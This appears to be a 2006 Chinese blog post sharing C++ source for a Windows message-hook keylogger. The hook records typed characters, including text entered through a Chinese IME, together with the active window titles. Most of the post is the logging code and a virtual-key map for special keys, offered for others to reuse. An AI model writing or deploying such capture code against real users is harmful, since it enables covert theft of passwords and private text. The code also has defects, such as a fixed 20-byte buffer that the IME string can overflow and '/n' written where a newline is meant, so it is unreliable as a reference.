您的位置:首页 > 其它

关于中文hook的一些问题的处理

2006-01-11 06:35 549 查看
使用钩子记录键盘敲击的字符并不困难,但是如果要直接记录中文输入的内容就不那么容易了。本文应用了IME以及相应的IME消息WM_IME_COMPOSITION实现这一目的,但是对于VK的过滤并不是很成功,现在贴出我的修改版本。当然原来的已经相当不错了,精益求精而已
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if(nCode==HC_ACTION)
{
switch(pmsg->message)
{
case WM_IME_COMPOSITION:
{
//窗口判定
hCurWin=::GetActiveWindow();
::GetWindowText(hCurWin,CurWin,100);
if(strcmp(CurWin,PriWin)!=0)
{
::GetWindowText(hCurWin,PriWin,100);
strcat(Content,"/n<");
strcat(CurWin,">/n");
strcat(Content,CurWin);
}
HIMC hIMC;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hCurWin);
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

strcat(Content,lpstr);
ImmReleaseContext(hCurWin, hIMC);
}
break;
}
case WM_CHAR:
{
hCurWin=::GetActiveWindow();
::GetWindowText(hCurWin,CurWin,100);
if(strcmp(CurWin,PriWin)!=0)
{
::GetWindowText(hCurWin,PriWin,100);
strcat(Content,"/n<");
strcat(CurWin,">/n");
strcat(Content,CurWin);
}
int nIsVK=0;
char ch[2];
for(int m=0; m < MAX_VK_NUM ; m++)
{
if(pmsg->wParam==(WPARAM)VKMap[m].VKNum)
{
strcat(Content,VKMap[m].VKText);
m = MAX_VK_NUM;
nIsVK = 1;
}
}

if((nIsVK==0)&&( (pmsg->wParam)<127 ) ) //主要是在这里 把 ASCII马的范围进行一些限制
//这样 IME条件下输入的VK将被过滤…
{
ch[0]=(char)(pmsg->wParam);
ch[1]='/0';
strcat(Content,ch);
}

break;
}
}
}
return(CallNextHookEx(Hook, nCode, wParam, lParam));
}

我还定义了一个 VK相关的结构体 以缩短 记录函数的长度
#define MAX_VK_TEXT_LEN 15
#define MAX_VK_NUM 11
typedef struct _vkmap //定义VK映射表
{
int VKNum;
char VKText[MAX_VK_TEXT_LEN];
}VKMAP;

VKMAP VKMap[MAX_VK_NUM]= //为VK映射表赋值
{
{VK_ESCAPE,"[esc]"},

{VK_RETURN, "[enter]"},
{VK_SPACE, "[space]"},
{VK_BACK, "[backspace]"},
{VK_LCONTROL,"[left ctrl]"},
{VK_RCONTROL,"[right ctrl]"},
{VK_LSHIFT,"[left shift]"},
{VK_RSHIFT,"[right shift]"},
{VK_LMENU,"[left alt]"},
{VK_RMENU,"[right alt]"},
{VK_TAB,"[tab]"}
//{VK_NUMLOCK,"[numlock]"},
//{VK_CAPITAL,"[capslock]"},
//{VK_SCROLL,"[scrolllock]"},
//{VK_UP,"[up]"},
//{VK_DOWN,"[down]"},
//{VK_LEFT,"[left]"},
//{VK_RIGHT,"[right]"},
//{VK_END,"[end]"},
//{VK_HOME,"[home]"},
//{VK_INSERT,"[ins]"},
//{VK_DELETE,"[del]"},
//{VK_PRIOR,"[pageup]"},
//{VK_NEXT,"[pagedown]"},
//{VK_SNAPSHOT,"[print screen]"},
//{VK_PAUSE,"[pause]"},
//{VK_LBUTTON,"[mouse left]"},
//{VK_RBUTTON,"[mouse right]"}
};

这里是情况而定,有些vk需要进行顾虑。有可能MessageProc用WM_CHAR捕捉的输入 与WH_KEYBOARD这个,也就是KeyboardProc这个函数用的机制不一样,很多符号键与VK是相重复的,以前我用的是键盘处理的函数,所以那些VK是可以截获的。希望对大家有所帮助!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐